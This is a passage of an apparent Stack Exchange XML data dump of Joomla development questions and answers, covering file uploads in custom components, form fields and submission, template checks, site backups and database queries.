?&amp;gt;&#xA;          &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('docfile'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php echo JHtml::_('bootstrap.endPanel'); ?&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;      &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;      &amp;lt;?php echo JHtml::_('bootstrap.endPane'); ?&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The field in the xml models/forms/ is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;docfile&quot; type=&quot;file&quot; label=&quot;Select File&quot; description=&quot;Select a doc/docx file to upload&quot; &#xA;         size=&quot;40&quot; accept=&quot;.doc, .docx&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the overriden save function in the model&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data = null, $key = null) {&#xA;    JRequest::checkToken() or die('Invalid Token');&#xA;    $file = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('docfile');&#xA;    jimport('joomla.filesystem.folder');&#xA;    jimport('joomla.filesystem.file');&#xA;&#xA;    JLog::add('Post $_POST : ' . print_r($_POST, TRUE), JLog::DEBUG, 'save_override_function_in_model');&#xA;    JLog::add('Data $data : ' . print_r($data, TRUE), JLog::DEBUG, 'save_override_function_in_model');&#xA;    JLog::add('File $file : ' . print_r($file, TRUE), JLog::DEBUG, 'save_override_function_in_model');&#xA;&#xA;    return parent::save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and theese are the log entries from the save function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2018-07-28T07:18:04+00:00       DEBUG 127.0.0.1 save_override_function_in_model Post $_POST : Array&#xA;(&#xA;    [jform] =&amp;gt; Array&#xA;        (&#xA;            [title] =&amp;gt; test&#xA;            [alias] =&amp;gt; test-test&#xA;            [catid] =&amp;gt; 0&#xA;            [client_id] =&amp;gt; 240&#xA;            [published] =&amp;gt; 0&#xA;            [created] =&amp;gt; 2018-07-20 06:07:43&#xA;        )&#xA;&#xA;    [task] =&amp;gt; testcom.apply&#xA;    [8c0a826f880ab2cd2842de2040510c6d] =&amp;gt; 1&#xA;)&#xA;&#xA;2018-07-28T07:18:04+00:00       DEBUG 127.0.0.1 save_override_function_in_model Data $data : Array&#xA;(&#xA;    [id] =&amp;gt; 2&#xA;    [title] =&amp;gt; test&#xA;    [alias] =&amp;gt; test-test&#xA;    [catid] =&amp;gt; 0&#xA;    [client_id] =&amp;gt; 240&#xA;    [published] =&amp;gt; 0&#xA;    [created] =&amp;gt; 2018-07-20 06:07:43&#xA;    [tags] =&amp;gt; &#xA;)&#xA;&#xA;2018-07-28T07:18:04+00:00       DEBUG 127.0.0.1 save_override_function_in_model File $file : Array&#xA;(&#xA;    [0] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-07-29T06:19:40.767" Title="file upload in admin backend - custom component" Tags="|joomla-3.x|development|administration|file-upload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23233" PostTypeId="2" ParentId="23232" CreationDate="2018-07-29T06:19:40.767" Score="2" Body="&lt;p&gt;I found the problem which was the way I was getting the file in the model.&#xA;So I just changed the following line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('docfile');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = JFactory::getApplication()-&amp;gt;input-&amp;gt;files-&amp;gt;get('jform', null, 'raw');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this way I get an array with all the files.&lt;/p&gt;&#xA;" OwnerUserId="12709" LastActivityDate="2018-07-29T06:19:40.767" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23234" PostTypeId="1" CreationDate="2018-07-29T13:05:16.490" Score="1" ViewCount="51" Body="&lt;p&gt;i use a Solution for my Custom Bootstrap Template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my idea: If a certain component open in the frontend, they add the word &quot;-fluid&quot; to my containter css class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i don't know how i can check if the certain component open in the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="12755" LastActivityDate="2018-07-29T16:28:40.327" Title="if statement for components - template" Tags="|component|bootstrap|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23235" PostTypeId="2" ParentId="23234" CreationDate="2018-07-29T16:28:40.327" Score="2" Body="&lt;pre&gt;&lt;code&gt;$component = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;if ($component === 'com_example')&#xA;{&#xA;    // do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-29T16:28:40.327" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23239" PostTypeId="1" AcceptedAnswerId="23240" CreationDate="2018-07-30T18:28:21.313" Score="1" ViewCount="957" Body="&lt;p&gt;I'm learning how to make my own module on Joomla. &#xA;MyModule &lt;strong&gt;mod_planejamentomensal.php&lt;/strong&gt; is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//No direct access &#xA;defined('_JEXEC') or die;&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;&#xA;Jhtml::_('jquery.framework');&#xA;Jhtml::_('jquery.ui');&#xA;JHtml::_('behavior.formvalidator');&#xA;JHtml::script(JURI::base() . '/modules/mod_planejamentomensal/js/jquery-3.3.1.js');&#xA;JHtml::script(JURI::base() . '/modules/mod_planejamentomensal/js/jquery.mask.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default.php&lt;/strong&gt; has my form (with some other fileds and jQuery, I'm copying part of it here so it won't be too long):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;planj-mensal-form&quot;&amp;gt;&#xA;  &amp;lt;form method=&quot;post&quot; name=&quot;frmCasdastra&quot; class=&quot;form-validate&quot; action=&quot;&amp;lt;?php JURI::base() . '/modules/mod_planejamentomensal/tmpl/adicionaForm.php' ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;divTable&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;divTableRow&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;divTableColumn&quot;&amp;gt;&#xA;                &amp;lt;b&amp;gt;Solicitação nº:&amp;lt;/b&amp;gt; &amp;lt;?php //echo $solicitacaoTemp; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;      &amp;lt;div class=&quot;divTableRow&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;divTableColumn divTableColumn1&quot;&amp;gt;&#xA;                &amp;lt;b&amp;gt;Agência:&amp;lt;/b&amp;gt; &amp;lt;?php echo $grupo; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;divTableColumn divTableColumn2&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;divLabel&quot;&amp;gt;&amp;lt;label for=&quot;mes&quot;&amp;gt;Mês Referência:&amp;lt;/label&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;divInput&quot;&amp;gt;&#xA;                &amp;lt;select name=&quot;mes&quot;&amp;gt;&#xA;                &amp;lt;?php &#xA;                    $select = $planMensal-&amp;gt;setSelect($mes, 'mes', date('m',strtotime('+1 month'))); &#xA;                    echo $select;&#xA;                ?&amp;gt;&#xA;                &amp;lt;/select&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;           &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;divTableRow&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;divtableColumnBotao&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;divInput&quot;&amp;gt;&#xA;                    &amp;lt;input name=&quot;add&quot; type=&quot;button&quot; value=&quot;Adicionar mais um formulário&quot; id=&quot;add&quot;&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/form&amp;gt;  &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my form action above points to &lt;strong&gt;adicionaForm.php&lt;/strong&gt; wich is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA; defined('_JEXEC') or die;&#xA;&#xA;$input = new JInput;&#xA;$teste = $input-&amp;gt;get('mes',null);&#xA;&#xA;echo &quot;Show: &quot;.$teste;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I click on submit button nothing happens...I Know there must be something on Joomla that I'm doing wrong. I tried to read documentation for forms but I didn't understand much of it. Can anyone please give me a hint?&lt;/p&gt;&#xA;" OwnerUserId="12756" LastActivityDate="2021-02-18T16:03:43.977" Title="How to make form action to work?" Tags="|joomla-3.x|form|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23240" PostTypeId="2" ParentId="23239" CreationDate="2018-07-30T19:19:32.273" Score="1" Body="&lt;p&gt;Change &lt;code&gt;type=&quot;button&quot;&lt;/code&gt; to &lt;code&gt;type=&quot;submit&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/button&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mozilla Documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;button&quot;&amp;gt;&lt;/code&gt; elements have no default behavior (their&#xA;  cousins, &lt;code&gt;&amp;lt;input type=&quot;submit&quot;&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;input type=&quot;reset&quot;&amp;gt;&lt;/code&gt; are used to&#xA;  submit and reset forms, respectively). To make buttons do anything,&#xA;  you have to write JavaScript code to do the work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: While &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; elements of type &quot;button&quot; are still perfectly&#xA;  valid HTML, the newer &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; element is now the favored way to&#xA;  create buttons. Given that a &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;’s label text is inserted between&#xA;  the opening and closing tags, you can include HTML in the label, even&#xA;  images.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12352" LastEditDate="2018-08-02T02:59:24.377" LastActivityDate="2018-08-02T02:59:24.377" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23241" PostTypeId="1" AcceptedAnswerId="23242" CreationDate="2018-07-30T20:14:35.853" Score="0" ViewCount="32" Body="&lt;p&gt;In a form of a custom component, how can I add field of type &lt;code&gt;contact&lt;/code&gt; instead of type &lt;code&gt;user&lt;/code&gt;? &lt;/p&gt;&#xA;" OwnerUserId="9355" LastEditorUserId="9355" LastEditDate="2018-07-30T20:20:06.250" LastActivityDate="2018-07-30T20:47:51.857" Title="Field of type contact" Tags="|component|custom-component|form-fields-types|com-contacts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23242" PostTypeId="2" ParentId="23241" CreationDate="2018-07-30T20:47:51.857" Score="1" Body="&lt;p&gt;Use &lt;code&gt;modal_contact&lt;/code&gt; field type from &lt;code&gt;com_contact&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field &#xA;        name=&quot;example&quot;&#xA;        type=&quot;modal_contact&quot;&#xA;        addfieldpath=&quot;/administrator/components/com_contact/models/fields&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-07-30T20:47:51.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23243" PostTypeId="2" ParentId="14054" CreationDate="2018-07-31T05:29:56.180" Score="2" Body="&lt;p&gt;I think the cleanest looking / most direct way would be to go through the &lt;code&gt;information_schema&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    /* SELECT table_name, table_rows&#xA;     * FROM information_schema.tables&#xA;     * WHERE table_name LIKE '%password%'&#xA;     */&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;table_name, table_rows&quot;)&#xA;                -&amp;gt;from(&quot;information_schema.tables&quot;)&#xA;                -&amp;gt;where(&quot;table_name LIKE '%password%'&quot;);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    $resultset = $db-&amp;gt;loadAssocList();&#xA;    if (!$resultset) {&#xA;        echo &quot;No Tables Containing 'password' Found&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;table&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Table Name&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Row Count&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            foreach ($resultset as $row) {&#xA;                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;{$row['table_name']}&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;{$row['table_rows']}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            }&#xA;        echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo  &quot;Syntax Error: &quot; , $e-&amp;gt;getMessage();  // never show the actual error message to the public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output (with my fabricated test tables):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;----------------------------------&#xA;|   Table Name   |   Row Count   |&#xA;|----------------|---------------|&#xA;|  a_passwords_1 |       3       |&#xA;|----------------|---------------|&#xA;|  a_passwords_2 |       5       |&#xA;|----------------|---------------|&#xA;|  a_passwords_3 |       0       |&#xA;----------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this is 100% accurate for my database, I should include &lt;a href=&quot;https://dba.stackexchange.com/q/151769/157408&quot;&gt;a link that offers a bit more detail&lt;/a&gt; about the &lt;em&gt;fineprint&lt;/em&gt; and performance comparisons between a few different approaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I want to state that when the raw query was executed via phpMyAdmin, many warning flooded the screen, but none of that mess was presented when called from php/Joomla.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Of course, if you are only interested in the aggregate count, this will be more direct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select(&quot;SUM(table_rows)&quot;)&#xA;            -&amp;gt;from(&quot;information_schema.tables&quot;)&#xA;            -&amp;gt;where(&quot;table_name LIKE '%password%'&quot;);&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;echo $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-07-31T05:35:06.323" LastActivityDate="2018-07-31T05:35:06.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23244" PostTypeId="1" CreationDate="2018-07-31T08:16:43.020" Score="2" ViewCount="756" Body="&lt;p&gt;I have created a custom installable component for Joomla.&#xA;I need to add editor on a textarea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use Joomla editor into custom component??&lt;/p&gt;&#xA;" OwnerUserId="12593" LastActivityDate="2020-03-10T07:26:56.187" Title="How to use Joomla editor on a field of form into custom component?" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23245" PostTypeId="2" ParentId="23244" CreationDate="2018-07-31T11:40:13.823" Score="0" Body="&lt;p&gt;Add editor type field to your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;example&quot;&#xA;    type=&quot;editor&quot;&#xA;    filter=&quot;JComponentHelper::filterText&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can learn more about the Editor form field and see its available attributes here: &lt;a href=&quot;https://docs.joomla.org/Editor_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Editor_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="-1" LastEditDate="2020-03-10T07:26:56.187" LastActivityDate="2020-03-10T07:26:56.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23248" PostTypeId="1" AcceptedAnswerId="23250" CreationDate="2018-07-31T14:23:05.467" Score="1" ViewCount="44" Body="&lt;p&gt;I need to create a full backup of an existing Joomla website running &lt;strong&gt;Joomla version 3.4.8 Stable&lt;/strong&gt; (I known, it's very old) and transfer it to a new hosting space so that I will be able to upgrade it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any FTP, SSH or database account available on the existing hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can download a full backup (files and database) of the website and transfer it to a new hosting?&lt;/p&gt;&#xA;" OwnerUserId="12758" LastEditorUserId="12352" LastEditDate="2018-08-01T09:58:20.333" LastActivityDate="2018-08-01T09:58:20.333" Title="How to export a full site on an older Joomla version, transfer to a new host and update the version?" Tags="|backups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23249" PostTypeId="1" CreationDate="2018-07-31T14:51:28.300" Score="1" ViewCount="48" Body="&lt;p&gt;&lt;strong&gt;Edit: ____________________________________________________________________&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To clarify this. It’s not about how to code it. But a question about which to choose. Module or Component?&lt;/em&gt;&#xA;&lt;strong&gt;_________________________________________________________________________&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to Joomla and need to develop a custom part of a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom part should be located in the main area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to develop modules and would prefer to do it this way. But I also know that a module should be used for content in the sidebar and you should use a component for the main area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom part is a thing that loads and shows text rows from a table I've created in the database. It also needs the ability to edit and save the texts. And lastly, it needs to display the intro image of specific articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom part doesn't need to have the ability to be edited in any way from the admin side. It only needs to have the part that is visible on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefor the question is: Can I use a module for this?&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12743" LastEditDate="2018-08-01T06:05:29.167" LastActivityDate="2018-08-01T06:05:29.167" Title="Module placed in main area and displaying article images? Is that allowed?" Tags="|component|module|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="23250" PostTypeId="2" ParentId="23248" CreationDate="2018-07-31T15:09:13.520" Score="5" Body="&lt;p&gt;You can use Akeeba backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports Joomla! 3.4 and later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does full backup including database and does make it possible to transfer the whole site to another domain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/akeeba-backup/&quot; rel=&quot;noreferrer&quot;&gt;https://extensions.joomla.org/extension/akeeba-backup/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12743" LastEditDate="2018-07-31T17:44:52.970" LastActivityDate="2018-07-31T17:44:52.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23251" PostTypeId="1" AcceptedAnswerId="23695" CreationDate="2018-07-31T19:14:37.060" Score="1" ViewCount="57" Body="&lt;p&gt;We have built a custom Joomla! component that has multiple sections and edit screens. In many cases, our component pages are related to each other and it makes sense for users to move from one to another. To facilitate this quickly, we thought of putting links in our component edit screens so that users could quickly move to related data items. The problem is, if you use a standard link the original item the user opened stays locked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way for users to be able to move between edit screens that unlocks the one they are leaving?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2022-04-14T07:06:35.720" Title="Checkin When Moving From One Component Edit Screen to Another" Tags="|joomla-3.x|component|check-in|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23252" PostTypeId="1" AcceptedAnswerId="23264" CreationDate="2018-08-01T09:15:53.200" Score="0" ViewCount="111" Body="&lt;p&gt;I'm running a query on phpmyadmin which has the &quot;IN&quot; function included. It is to extract data from the same column for different fields' (Waybill1, Waybill2 etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I shall post the SQL query below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT FieldValue, &#xA;       SubmissionID &#xA;FROM jos_rsform_submission_values &#xA;WHERE FieldName IN ('Waybill1', 'Waybill2', 'Waybill3', 'Waybill4', 'Waybill5') &#xA;   AND FieldValue != &quot;&quot; AND FormId = 28 &#xA;ORDER BY SubmissionId ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, after I convert it to PHP I get this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;SELECT FieldValue,\n&quot;&#xA;&#xA;    . &quot;       SubmissionID\n&quot;&#xA;&#xA;    . &quot;FROM   jos_rsform_submission_values\n&quot;&#xA;&#xA;    . &quot;WHERE  FieldName IN (\'Waybill1\', \'Waybill2\', \'Waybill3\', \'Waybill4\', \'Waybill5\')\n&quot;&#xA;&#xA;    . &quot;   AND FieldValue != \&quot;\&quot; AND FormId = 28\n&quot;&#xA;&#xA;    . &quot;ORDER BY SubmissionId ASC&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is now that I do not know how to convert it to Joomla PHP syntax. I will post what I've done but it is clearly wrong as the page isn't even loading:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$db = JFactory::getDbo();&#xA;$db-&amp;gt;getQuery(true);&#xA;$db-&amp;gt;setQuery(&quot;SELECT `SubmissionId`, `FieldValue`, FROM `jos_rsform_submission_values` WHERE `FieldName` IN (\&quot;Waybill1\&quot;, \&quot;Waybill2\&quot;, \&quot;Waybill3\&quot;, \&quot;Waybill4\&quot;, \&quot;Waybill5\&quot;) AND `FieldValue` != \&quot;\&quot; AND `FormId` = 28&quot;);&#xA;&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;foreach($result as $value) {&#xA;foreach($value as $key =&amp;gt; $data) { &#xA;    echo $data.&quot;&amp;lt;br /&amp;gt;&quot;; &#xA;        }&#xA;&#xA;    }&#xA;?&amp;gt;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would greatly appreciate any pointers on this issue. The Joomla syntax is sometimes confusing and I'm not 100% sure how to do advanced functions such as this (I have tried many different approaches and combinations for trying to solve this, but none have worked. I just can't get the syntax right/know what syntax to use)&lt;/p&gt;&#xA;" OwnerUserId="9578" LastActivityDate="2019-02-04T11:43:52.443" Title="Convert PHP code to Jooma PHP syntax?" Tags="|joomla-3.x|php|sql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23254" PostTypeId="2" ParentId="23252" CreationDate="2018-08-01T10:40:31.727" Score="1" Body="&lt;p&gt;There is not something really special regarding Joomla PHP syntax. Most likely you have a common syntax error somewhere, either on your PHP, or on your Query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't gone thoroughly through your code, but I already spotted a such error, in your above &lt;code&gt;SELECT&lt;/code&gt; query. You use a comma just before the &lt;code&gt;FROM&lt;/code&gt; statement. This definitely won't go on in MySQL. You may have more later on (but didn't check it as I said).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you should enable error reporting and debug, so you have some further info about the errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, have you read this documentation page: &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Selecting Data Using JDatabase&lt;/strong&gt;&lt;/a&gt;. It contains many examples on constructing queries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally do note, that you shouldn't use the actual table prefix hardcoded, as the table prefix is something that can change. Replace &lt;code&gt;jos_&lt;/code&gt; with &lt;code&gt;#__&lt;/code&gt; and Joomla will always use the correct one.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-08-01T10:40:31.727" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23255" PostTypeId="1" CreationDate="2018-08-01T14:02:21.357" Score="1" ViewCount="42" Body="&lt;p&gt;Problem, users are showing in User MGR and they can login, but the users are not showing in the data base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created new database and reinstalled same issue, Tried creating a test user with the new DB the user is created and can log in but the user is not showing up in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am extremely perplexed by this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.8.10&lt;/p&gt;&#xA;" OwnerUserId="12761" LastActivityDate="2018-08-02T05:28:46.610" Title="User Showing in User Manager but not Data base" Tags="|user|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23256" PostTypeId="2" ParentId="23255" CreationDate="2018-08-01T14:46:27.253" Score="1" Body="&lt;p&gt;Since this can not be happening - most likely your site is using another database than the one you are looking at. Make sure that this isn't the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check the case that the tables you are looking at are those with the right prefix. The table you need to check for the users should be &lt;code&gt;#__users&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make also sure you aren't seeing any filtered or special sorted table records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double check your configuration for the Database Info. &#xA;You can also change the password for the database user of your databases to test if the site is still operating or not. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-08-01T14:46:27.253" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23257" PostTypeId="2" ParentId="23229" CreationDate="2018-08-01T15:30:05.070" Score="0" Body="&lt;p&gt;I think you can also hide a menu item by simply setting an access level for the menu item. For example if the user is logged in with x permissions then make it visible. If not then hide. You can also set modules to show on certain pages, both methods should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2018-08-01T15:30:05.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23258" PostTypeId="2" ParentId="23187" CreationDate="2018-08-01T15:32:31.823" Score="0" Body="&lt;p&gt;You could look into joomla admin tools, its the best security component for Joomla but also has a really nifty feature for handling redirects. Its much cleaner than an enormous .htaccess file&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2018-08-01T15:32:31.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23259" PostTypeId="2" ParentId="23186" CreationDate="2018-08-01T15:34:33.390" Score="1" Body="&lt;p&gt;Can you not just access via ftp and clear the cache directory manually?&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2018-08-01T15:34:33.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
